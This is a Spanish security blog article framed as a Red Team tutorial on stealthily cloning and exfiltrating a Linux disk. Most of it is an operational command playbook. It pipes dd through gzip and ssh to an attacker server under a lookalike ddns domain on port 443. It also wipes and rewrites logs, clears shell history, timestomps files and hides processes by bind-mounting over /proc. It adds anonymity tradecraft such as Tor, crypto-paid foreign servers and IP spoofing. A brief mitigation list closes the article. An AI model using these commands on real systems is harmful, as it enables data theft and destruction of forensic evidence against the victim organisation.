Conexión anónima, exfiltración de información y eliminación de huellas en Operaciones Red Team (RTO)

1. Introducción y objetivos

En este artículo vamos a mostrar cómo un atacante puede llegar a exfiltrar un clonado completo de un disco duro o de una partición de disco duro, de manera silenciosa y profesional, como debe hacerse en una Operación Red Team (RTO). Para ello se van a emplear las mismas tácticas, técnicas y procedimientos (TTP) que emplean los grupos ciber criminales.

No vamos a entrar en detalles de cómo un atacante puede llegar a comprometer un sistema a este nivel, ya que no es el objetivo de este artículo (en nuestro blog hay varios), pero sí creo conveniente e interesante el comentar que este tipo de incidentes ocurren con frecuencia por los denominados “insiders”.

Un “insider” se define como aquella persona que pertenece a una organización empresarial (empleado, socio, etc.), que tiene acceso a información sensible (comercial, financiera, etc.) y que aprovecha esos accesos para hacer daño a la empresa por el motivo que sea. Entre los distintos tipos de daño que puede llevar a cabo destacan: publicar información sensible, venderla para su beneficio, eliminarla, o encriptarla con un ransomware para después beneficiarse con un rescate.

Para la realización de este ejercicio el atacante debe partir de los siguientes supuestos:

1. Tiene acceso al sistema víctima.
2. Tiene acceso al sistema víctima con un usuario con privilegios de “root”, o es capaz de escalar a “root”.
3. Tiene un servidor dedicado con el escenario preparado para recibir la información a exfiltrar.

En este artículo vamos a tratar la operación por fases. Primero vamos a ingresar en la máquina víctima y realizaremos un reconocimiento del sistema para poder cubrir nuestras huellas y tener SA del entorno. Posteriormente procederemos a clonar el disco duro en transmisión a nuestro servidor de Mando y Control (C2). Mientras se esté realizando la exfiltración de información, saldremos del sistema para no ser descubiertos, y vigilaremos desde nuestra máquina atacante que el clonado en transmisión va correctamente hasta su finalización. En ese momento volveremos a ingresar en la máquina víctima para finalizar el trabajo de eliminación de huellas. El objetivo final es exfiltrar el clonado del disco duro del sistema víctima sin ser descubiertos.

Para llevar a cabo una operación de estas características necesitaremos unos conocimientos básicos de Linux.

Los comandos de la operación están publicados en nuestro GitHub: https://github.com/JAYMONSECURITY/JMSec-Blog-Resources

2. Escenarios posibles de ataque

Cuando un grupo cibercriminal o un “insider” consigue acceso al sistema de una víctima, es de entender que quiera exfiltrar la mayor cantidad de información posible sin ser detectado. Ese objetivo lo lleva a cabo mediante el clonado de los discos duros o de sus particiones de manera sigilosa, como veremos en los siguientes puntos.

En cuanto a los posibles escenarios donde se puede llevar a cabo un ataque de este tipo, encontramos principalmente los siguientes:

1. Un grupo criminal ha explotado una vulnerabilidad que le da acceso a ejecutar código remoto en el sistema víctima con privilegios de “root”.
2. Un “insider” que tiene acceso a un sistema de la empresa ha conseguido escalar privilegios como usuario administrador o como usuario “root”.

3. Montaje del escenario del atacante

Para llevar a cabo esta práctica, el atacante necesitará una máquina que actúe de servidor para alojar el clonado del disco duro del sistema víctima. Dicho servidor podrá actuar también como “máquina atacante”, por lo que a lo largo del artículo trataremos “máquina atacante” y “servidor” como si de la misma máquina se tratara.

Teniendo en cuenta que aquí estamos para mostrar cómo un Red Team que simula ser un equipo criminal, puede llevar a cabo las labores descritas, deberemos pensar en “black” para tomar conciencia de cómo piensan los grupos criminales y así concienciarnos de las medidas de seguridad a tomar para cada situación.

Así pues, el servidor para alojar el clonado se podrá conseguir de dos maneras:

• Dando acceso en la Zona Des-Militarizada (DMZ) de nuestro Router a nuestra máquina atacante o servidor, o configurando reglas de port-forwarding. Un grupo criminal nunca tomaría esta opción, ya que de esta manera se revelaría nuestra IP pública con los inconvenientes que ello pudiera ocasionar. Esta opción la contemplan los grupos criminales en caso de poder realizarse mediante la conexión a una red pública (WiFi o vía Ethernet) o comprometida (hackeada previamente o conseguido por acceso físico), que no puedan relacionarlos. Destacar que además del acceso a esas redes, los atacantes no muy experimentados necesitarían acceso al router para realizar las configuraciones oportunas. Para los más experimentados sabrán que en caso de no tener acceso al router de la red comprometida, tendrán que realizar un reconocimiento para conocer qué dirección IP interna está autorizada en la DMZ o qué puertos tiene permitidos el firewall del router y hacia qué dirección IP interna redirigen la conexión. Con estos datos el siguiente paso del atacante será el realizar una denegación de servicio a esos dispositivos y suplantarles su dirección IP, colocándola como estática. De esta manera el atacante ya se habrá garantizado que se puede acceder a su máquina desde la dirección IP pública de la red comprometida, apuntando al puerto que esté abierto en el firewall del router. (Defensa: De ahí la importancia de crear contraseñas y accesos seguros a las redes, tanto a nivel cibernético como físico, y de realizar inspecciones periódicamente).

• Contratando un servidor dedicado. Un grupo criminal lo haría en un país distinto a donde residen y hacen vida, y al ser posible con malas relaciones internacionales con el país donde esté alojado el sistema víctima, para que en caso de una investigación posterior al “ataque” se dificulten las labores de análisis forense digital. Normalmente realizan esta contratación del servidor dedicado mediante pago por criptomoneda para garantizarse el anonimato. (Defensa: De ahí la importancia de implementar listas blancas/negras de las conexiones de ciertos países).

Lo más conveniente a la hora de contratar un servidor dedicado para llevar a cabo la operación es que las características del servidor sean las más adecuadas para acortar tiempos de envío de ordenes y respuesta, para que la transmisión del clonado sea lo más rápida y fiable posible.

Llegados a este punto debemos llevar a cabo la configuración de nuestro servidor o máquina atacante, que es donde vamos a alojar el clonado del disco duro del sistema víctima. Para ello:

• Deberemos crear un usuario genérico que no llame la atención, como por ejemplo un usuario con el nombre “backup”.
• A dicho usuario le otorgamos acceso limitado por SSH para que desde la máquina víctima se envíe la información a exfiltrar a nuestro servidor por un túnel SSH.
• Es conveniente configurar el servidor SSH para que reciba las conexiones por el puerto 443, ya que así nos garantizamos a un porcentaje muy alto que las operaciones a través de dicho puerto sean permitidas (tanto en conexiones entrantes como salientes) en los sistemas de seguridad perimetrales de la organización, evitando llamar la atención en los controles de tráfico de red.

Llegados a este punto y continuando con el enmascaramiento, deberemos obtener un DNS mediante el servicio de noip.com para asignarle la dirección IP de nuestro servidor dedicado. Como ejemplo se propone que el DNS sea del tipo “dominiovictima.ddns.net”, es decir, si el nombre de la empresa o dominio víctima se llama “JAYMON SECURITY”, trataremos de crear el dominio “jaymonsecurity.ddns.net” con la finalidad de que pase desapercibido en los controles de tráfico de red de la organización empresarial (víctima). A dicho DNS le asignamos la dirección IP de nuestro servidor dedicado donde se recibirá el clonado del disco de la máquina víctima, como vemos a continuación:

4. Ejecución del ataque

Para llevar a cabo la ejecución del ataque de manera disciplinada, es conveniente montar una lista de los comandos a ejecutar clasificados por fases de la operación, de manera que en el momento del ataque podamos prácticamente semi-automatizar todos los pasos con un simple copia-pega para acortar los tiempos de permanencia en el sistema lo máximo posible, ya que esto se traduce en minimizar el riesgo de ser descubiertos. Se aconseja ejecutar todas las acciones en memoria y no mediante la creación de scripts que toquen disco y puedan hacer saltar alarmas en el sistema víctima.

a) Fase de ingreso y reconocimiento

En esta fase vamos a ingresar en la máquina víctima, ya sea por SSH o como se pueda, con el objetivo de alcanzar una Shell de comandos. Es en esta fase donde realizaremos una recopilación de información interesante necesaria para cubrir nuestras huellas, realizar el clonado que nos interese y poder montar la imagen clonada en nuestros propios sistemas.

Suponiendo que llevamos a cabo todas las acciones simulando realizarlas íntegramente para salvaguardar el anonimato como si de un grupo criminal se tratara, damos por hecho que hemos contratado un servidor dedicado mediante el pago de criptomoneda.

Como Red teamers, la conexión más deseable para mantener el anonimato durante toda la misión es el arrancar nuestra máquina atacante con un Live USB con S.O. TAILS que conecte a la red TOR. De ahí conectarnos por SSH a nuestro servidor dedicado contratado de manera anónima, y de ahí conectarnos a la máquina víctima por SSH para llevar a cabo nuestras operaciones.

Nada más ingresar en el sistema víctima con SO Linux y obtener una Shell de comandos, procedemos a ver qué usuarios hay en el sistema con sesiones activas mediante el comando “w” (“who”). Esto es importante porque si conocemos los usuarios del sistema podremos saber qué roles tienen en el mismo, y de estar activo un usuario dedicado al análisis de red, será conveniente posponer la operación para evitar ser descubiertos. De la misma manera es conveniente ejecutar el comando “ps -aux” o “top -c” para poder observar los procesos activos en el sistema víctima, con la finalidad de ver si hay alguno encargado de creación de eventos detallados o de envío de información a otros servidores externos donde no tengamos capacidad de eliminar nuestras huellas. En este caso es conveniente tomar la decisión de matar dicho proceso o de recoger toda la información posible sobre dicho proceso y abandonar la misión para estudiar la manera de evadirlo adecuadamente y volver en un próximo intento.

Habiendo pasado el primer filtro descrito en el párrafo anterior, procedemos a escalar a “root” para poder asegurar que todas nuestras operaciones no fallen por falta de privilegios, y que su ejecución a nivel de procesos se presente bajo el usuario “root”.

Sin dejar pasar más tiempo procedemos a lanzar el comando “cat /etc/*release” y “uname -a” para conocer el sistema operativo víctima, que será necesario para montar la imagen clonada en una máquina virtual.

Tras escalar a “root” procedemos a eliminar nuestras huellas de ingreso, además de los intentos fallidos de inicio de sesión que hayan sido registrados. Esto lo haremos mediante los comandos:

echo “” /var/log/wtmp
echo “” /var/log/btmp

Continuando con el borrado de huellas, vamos a ver qué usuarios hay en el sistema mediante el comando “ls /home“. La finalidad es sustituir en todos los archivos con extensión “.log” nuestro nombre de usuario “mikeofi” (con el que hemos ingresado) por el nombre de un usuario existente en el sistema víctima. Para este caso vamos a llamar al usuario existente en el sistema “system_user1”. Para crear mayor confusión en un posible análisis forense, se aconseja realizar esta sustitución con otros usuarios legítimos existentes en el sistema. Esto lo podemos llevar a cabo con los siguientes comandos:

Llegados a este punto vamos a sustituir en los logs del sistema nuestra dirección IP con la que hemos ingresado, por una dirección IP habitual que se conecte al sistema víctima.

Para ver nuestra dirección IP pública podemos lanzar el comando “curl ifconfig.me”, o verla mediante la web https://www.whatismyip.com .

Para saber qué direcciones IP están aceptadas y son habituales en el sistema víctima podemos hacerlo mediante el siguiente comando:

cat /var/log/auth* | grep Accepted

Una vez tenemos la información necesaria ya podemos proceder a reemplazar la información como sigue:

cd /var/log/

find . -type f -name “*.log” -print0 | xargs -0 sed -i ‘s/IP_atacante/IP_legítima/g’

Para finalizar el borrado de huellas de la fase de ingreso, únicamente nos queda por eliminar el histórico de comandos, lo que se aconseja hacerlo de la siguiente manera.

b) Fase de exfiltración de información

Hemos llegado al punto más importante de la operación. Como usuario “root” procedemos a iniciar una sesión paralela identificada con el nombre “B” mediante el lanzamiento del comando “screen -S B“. Indicar que le podemos poner el nombre que queramos, pero tener en cuenta que si por algún casual un usuario del sistema escala a “root” y ejecuta el comando “screen -ls” verá las sesiones activas con sus nombres, por lo que el nombre que le pongamos a la nueva sesión no debe llamar la atención.

En esta nueva sesión es donde procedemos a lanzar el comando que se encargará de realizar el clonado del disco duro en transmisión a nuestro servidor. Para ello primero debemos ver qué discos tiene la víctima para saber cuáles nos interesa clonar:

Como podemos observar en la captura anterior, nos interesa clonar el “sda2”, ya que por su tamaño podemos apostar con casi total seguridad que es donde se aloja toda la instalación del sistema operativo, junto al groso de la información. Así pues, para realizar el clonado comprimido en transmisión del “/dev/sda2” deberemos ejecutar el comando “dd” combinado con “gzip” y “ssh” de la siguiente manera:

• dd if=/dev/sda2 bs=64K conv=noerror,sync | gzip -c | ssh backup@jaymonsecurity.ddns.net -p 443 “dd of=backup.dd.gz”

Nos solicitará ingresar la contraseña para poder iniciar una sesión por SSH a nuestro servidor por el puerto 443 como usuario “backup”. La introducimos y comienza el clonado en transmisión. El archivo resultante será el clonado comprimido en el archivo denominado “backup.dd.gz”. Únicamente recordar que el usuario “backup” fue creado en nuestro servidor para pasar desapercibido, y que “jaymonsecurity.ddns.net” fue creado con NOIP y apunta a nuestro servidor dedicado donde se alojará el archivo comprimido en “gzip” resultante del clonado.

Llegados a este punto solo nos queda dejar trabajar a la máquina víctima hasta que finalice la operación. Para ello vamos a salir de esta Shell levantada con el comando “screen” mediante la combinación de teclas “control + a + d”, para que el proceso continúe activo realizando el trabajo en segundo plano cuando nosotros hagamos un “logout” del sistema víctima.

c) Escondiendo los procesos de ejecución del clonado

Ahora mismo el problema que podemos tener es que si un usuario monitoriza los procesos del sistema mediante el comando “ps -aux” o “top -c“, podrá observar que están corriendo los comandos “screen” y “dd” junto a una conexión SSH realizada por un usuario llamado “backup” a un servidor que pasa desapercibido porque tiene el nombre de la empresa víctima. Aunque el enmascaramiento es bastante bueno, esto no deja de ser algo por lo que podríamos ser descubiertos, así que debemos esconder dicha operación de los procesos del sistema.

Como ejemplo vamos a esconder de los procesos el comando “screen -S B“, que se puede observar en los procesos del sistema. Para ello primero debemos conocer el PID del proceso (segunda columna), que en este caso es el “302”.

Una vez conocemos el PID del proceso a esconder, procedemos con los siguientes comandos:

1. Creamos una nueva carpeta con el nombre que queramos en el directorio “/mnt”: mkdir /mnt/volume
2. Ejecutamos el comando “mount -o bind /mnt/volume /proc/302“

Ahora veremos que el proceso con PID 302 se ha escondido satisfactoriamente.

Realizaremos esto con todos los procesos que queramos esconder. Una vez finalizado, ya estamos listos para eliminar el historial de comandos y salir del sistema víctima.

echo “” > /root/.bash_history #Eliminamos historial de comandos del usuario “root”.

history -c #Eliminamos caché de comandos.

exit #Salimos de la sesión del usuario “root”.

exit #Salimos de la sesión del usuario “mikeofi” y por tanto del sistema víctima por completo.

Quizás te preguntes por qué salir del sistema y no quedarse en él hasta que finalice la operación. Pues bien, si nos mantenemos en el sistema cualquier usuario puede ver que el usuario “mikeofi” está dentro con el simple hecho de lanzar el comando “who”, aunque bien es verdad que no aparecerá en el registro de inicio de sesión cuando se ejecute el comando “last”. Por ello es conveniente salir del sistema cuanto antes.

Este es el momento de monitorizar en nuestro servidor que el archivo “backup.dd.gz” se ha creado y se está transmitiendo correctamente, aumentando su tamaño constantemente. En el momento que deje de crecer en tamaño querrá decir que la transferencia del clonado habrá finalizado, por lo que pasaremos a la última fase de la operación.

d) Fase de borrado final de huellas y egress

Una vez haya finalizado la transmisión del clonado y se haya generado el archivo “backup.dd.gz” correctamente en nuestro servidor, debemos proceder a finalizar la operación. Para ello deberemos volver a ingresar en la máquina víctima, eliminar completamente nuestras huellas y salir. Se muestran los comandos comentados a continuación tras ingresar con el usuario “mikeofi”:

sudo su #Escalamos a “root”.

echo “” > /var/log/wtmp #Eliminamos registros de ingreso de usuarios. (“last”).

echo “” > /var/log/btmp #Eliminamos registros de intentos de ingreso fallidos de usuarios. (“lastb”).

cd /var/log/ #Nos colocamos en el directorio /var/log/

find . -type f -name “*.log” -print0 | xargs -0 sed -i ‘s/mikeofi/system_user1/g’ #Reemplazamos en todos los logs el nombre mikeofi por el de system_user1.

find . -type f -name “*.log” -print0 | xargs -0 sed -i ‘s/system_user2/system_user3/g’ #Reemplazamos en todos los logs el nombre system_user2 por el de system_user3.

find . -type f -name “*.log” -print0 | xargs -0 sed -i ‘s/IP_atacante/IP_legítima/g’ #Reemplazamos en todos los logs la dirección IP atacante por una dirección IP que ya esté registrada anteriormente en el sistema.

screen -r B #Accedemos a la sesión “screen” de nombre “B” que habíamos creado anteriormente. Veremos los resultados de la transmisión del clonado a nuestro servidor atacante.

exit #Finalizamos la sesión de “screen”.

rm -rf /mnt/* #Eliminamos las carpetas creadas en /mnt/ que fueron empleadas para esconder los procesos sospechosos.

history -c #Eliminamos la caché del historial de comandos.

echo “” > /home/mikeofi/.bash_history #Eliminamos historial de comandos de “mikeofi”.

touch -t 202201121200 /home/mikeofi/.bash_history #Cambiamos fecha modificación del archivo bash history.

echo “” > /home/system_user1/.bash_history #Eliminamos historial de comandos de “system_user1”.

touch -t 202201121200 /home/system_user1/.bash_history #Cambiamos fecha modificación del archivo bash history.

echo “” > /root/.bash_history #Eliminamos el historial de comandos del usuario “root”.

history -c #Eliminamos nuevamente la caché del historial de comandos.

exit #Finalizamos la sesión como usuario “root”.

exit #Finalizamos la sesión del usuario “mikeofi” y salimos completamente del sistema víctima.

Llegados a este punto, solo nos queda volver a nuestro dominio creado con NOIP y cambiarle la dirección IP a aquella legítima del sistema víctima, o a cualquier otra. Como curiosidad decir que es en este momento en el que los grupos criminales aprovechan para asignar una dirección IP a la que quieran atribuirle el ataque en caso de análisis forense.

5. Montaje de la imagen obtenida del sistema víctima

Ha llegado el momento de realizar el volcado de la imagen obtenida del clonado (“backup.dd.gz”) en una máquina virtual con el mismo sistema operativo de la máquina víctima. De esta manera obtendremos como resultado una máquina virtual en la que correrán los mismos procesos y servicios que la máquina víctima.

Aclarar que lo que buscamos con este tipo de montaje no es únicamente acceder a la información del sistema víctima, ya que para eso bastaría con realizar un montaje estándar a través del uso del comando “mount”.

Continuamos con el montaje, y para ello vamos a suponer que en la fase de reconocimiento obtuvimos la información de que la máquina víctima tenía un S.O. Debian 10, y que la partición clonada era un disco tipo NVME. Así pues, para restaurar la imagen del disco clonado obtenida a través de la herramienta “dd” y hacerla funcional bajo una máquina virtual con todos sus procesos y servicios arrancados, llevaremos a cabo los siguientes puntos:

1. En VMware Workstation creamos una máquina virtual con 2 discos duros tipo NVME de un tamaño generoso (unas 500Gb), que es el tipo de disco de la máquina víctima. Una vez creada dicha máquina instalamos el Sistema Operativo Debian 10 mediante su ISO. Un disco será utilizado para alojar la imagen del clonado, y el otro para volcarla.
2. Descomprimimos la imagen “backup.dd.gz” y obtenemos el archivo del volcado “dd” original. Le cambiamos la extensión a “.img”, llamando al archivo “backup.img”.
3. Introducimos esa imagen en el segundo disco de 500Gb de la máquina virtual que hemos creado en el paso uno. Para ello podemos montar un servidor HTTP (apache) en nuestro servidor y descargar la imagen en la máquina virtual con Debian 10 mediante el siguiente comando:
   • “wget -c http://ipserver/backup.img“. De esta manera, gracias a la flag “-c” del “wget”, si se corta la conexión podremos volver a reanudarla y continuará la descarga en el punto donde se quedó. Esto es importante ya que al tratarse de archivos de gran tamaño las descargan pueden ser interrumpidas por diversos motivos.
4. Una vez finalizada la descarga debemos comprobar la integridad con el archivo original para estar seguros que la descarga es la adecuada y no está corrupta. Esto podemos hacerlo mediante la herramienta “shasum” o “md5sum”, entre otras.
5. Ahora ya tenemos la imagen en el disco 2 de nuestra máquina virtual (VM). Es el momento de reiniciar la VM con la ISO de la instalación del Debian 10, pulsando al inicio del arranque la tecla “escape”.
6. Al entrar en la ISO de instalación, entramos en opciones avanzadas y posteriormente en “modo rescue”. Cargamos los módulos y al final entramos en la opción de “no filesystem root” o una opción similar, para que nos de la opción de poder obtener una Shell de comandos.
7. Con la Shell de comandos, procedemos a montar el disco 2 donde se encuentra el archivo “backup.img” de la siguiente manera:
   • mount /dev/nvme0n2 /mnt/
8. Una vez montado ejecutamos “chmod -R 777 /mnt/” y luego con “ls /mnt” veremos cómo tenemos acceso al archivo “backup.img“.
9. Llegados a este punto, tenemos que formatear la partición del disco donde será instalada la imagen, es decir, debemos formatear “/dev/nvme0n1p1” con el comando:
   • mkfs.ext4 /dev/nvme0n1p1
10. Una vez formateada, ya solo queda ejecutar el siguiente comando que será el encargado de realizar la labor del volcado de la imagen del clonado del sistema víctima en la raíz de la partición formateada:
    • dd if=”/mnt/dd.img” of=”/dev/nvme0n1p1″ bs=64K conv=sync,noerror

Esperamos a que finalice la operación. Posteriormente desmontamos el segundo disco con el comando “umount /mnt“, y montamos el primer disco con el comando “mount /dev/nvme0n1p1 /mnt” para comprobar que están todos los archivos de la imagen bien volcados. De ser así, desmontamos el disco mediante el comando “umount /mnt” y procedemos a reiniciar la VM mediante el comando “reboot“.

Llegados a este punto ya podemos decir que tenemos la imagen clonada funcional en una máquina virtual, la cual podremos exportar e importar en aquellos entornos donde se precise.

No obstante, si al reiniciar la VM tenemos algunos errores que no deja arrancar correctamente, deberemos solucionarlos de la siguiente manera:

1. Volvemos a arrancar desde la ISO para obtener la shell de comandos anterior y ejecutamos “sudo fsck.ext4 -v /dev/nvme0n1p1“, vamos aceptando las reparaciones que nos sugiere el proceso. Al finalizar reiniciamos y ya debería funcionar perfectamente.

Cuando estemos frente a la pantalla de inicio de sesión, deberemos emplear las mismas credenciales con las que ingresamos en la máquina víctima, ya sea por SSH o por escritorio remoto.

6. Medidas de mitigación

A lo largo de la operación hemos visto diversas metodologías y uso de herramientas que pueden darnos buenas pistas de cómo poder mitigar un ataque de estas características.

Obviando el anonimato y enmascaramiento, lo cual se escapa de la mano del Blue Team (encargado de la defensa de la organización empresarial), vamos a centrarnos en qué obstáculos poder poner a aquel grupo cibercriminal o “insider” que quiere ingresar, y que posteriormente ingresa, en nuestros sistemas para exfiltrar información confidencial de la manera que se ha llevado a cabo en este artículo.

Para ello vamos a numerarlos en orden de prioridad, siendo conscientes que el cumplimiento de cada punto dependerá del entorno donde se encuentre el sistema a proteger.

Como medidas a adoptar antes del ingreso al sistema tenemos:

1. Lista blanca para las direcciones IP aceptadas para realizar las conexiones entrantes.
2. Establecer las conexiones entrantes al ingreso del sistema por VPN y un puerto distinto al de por defecto.
3. Medidas contra fallos de inicio de sesión por fuerza bruta mediante herramientas del tipo “fail2ban“.
4. Establecer procedimientos de autenticación de múltiples factores para el acceso a la VPN y/o el ingreso en el sistema.

Como medidas a adoptar una vez el ciberdelincuente haya ingresado en el sistema:

1. No dar privilegios de “root” a ningún usuario que no lo necesite. A aquellos usuarios que se les haya otorgado dicho privilegio, establecer como política de seguridad el ingresar mediante procedimientos de autenticación de múltiples factores.
2. Establecer que cada usuario no pueda acceder al “bash history” del resto de los usuarios del sistema, ya que así no podrá eliminarlo ni obtener información sensible de las operaciones que se hayan llevado a cabo dentro del sistema.
3. Establecer sistemas de registros de eventos que sean guardados en sistemas remotos para evitar su manipulación o borrado.
4. Eliminar del sistema o cambiar de nombre a la herramienta “dd” para evitar el clonado del disco aunque para ello sea necesario ser usuario “root”.
5. Eliminar del sistema, limitar su uso o cambiar de nombre a la herramienta “sed” para evitar reemplazar información en archivos de manera automatizada.
6. Eliminar del sistema, limitar su uso o cambiar de nombre a la herramienta “touch” para evitar manipular las fechas de creación y modificación de los archivos del sistema.
7. Cambiar de nombre o limitar acceso de uso a la herramienta “mount” para evitar esconder procesos.
8. Cambiar de nombre o limitar acceso de uso a la herramienta “history” para evitar ver y eliminar la caché del historial de comandos.
9. Limitar accesos al directorio de logs del sistema (“/var/log/”) para evitar su manipulación y/o eliminación.
10. Cambiar de nombre o limitar acceso de uso a la herramienta “rm” para evitar que el ciberdelincuente pueda realizar borrados masivos de información.
11. Crear reglas en el firewall para evitar aquellas conexiones entrantes y salientes que sean sospechosas.

Ni qué decir tiene la importancia de instalar sistemas antivirus y todas las actualizaciones y parches de seguridad para evitar posibles escaladas de privilegios mediante la explotación de agujeros de seguridad en versiones obsoletas del kernel, servicios o aplicaciones del sistema.

7. Conclusiones

En este artículo hemos visto cómo un “insider” o ciberdelincuente que ha obtenido acceso al sistema informático de una organización empresarial, puede llevar a cabo una operación de exfiltrado de información mediante el clonado completo de un disco duro en transmisión a un servidor propio, todo ello de manera sigilosa, en un corto espacio de tiempo y anonimizando sus conexiones.

Ha quedado clara la importancia de proteger debidamente los sistemas informáticos para evitar que sucedan este tipo de problemas, y de la misma manera se han visto medidas de mitigación coherentes para este tipo de entornos empresariales.

De estar interesado en adquirir conocimientos introductorios a hacking ético puede optar por matricularse en nuestro curso básico de hacking ético, o si prefiere adquirir conocimientos más avanzados en ciberseguridad ofensiva puede adquirir nuestro curso avanzado.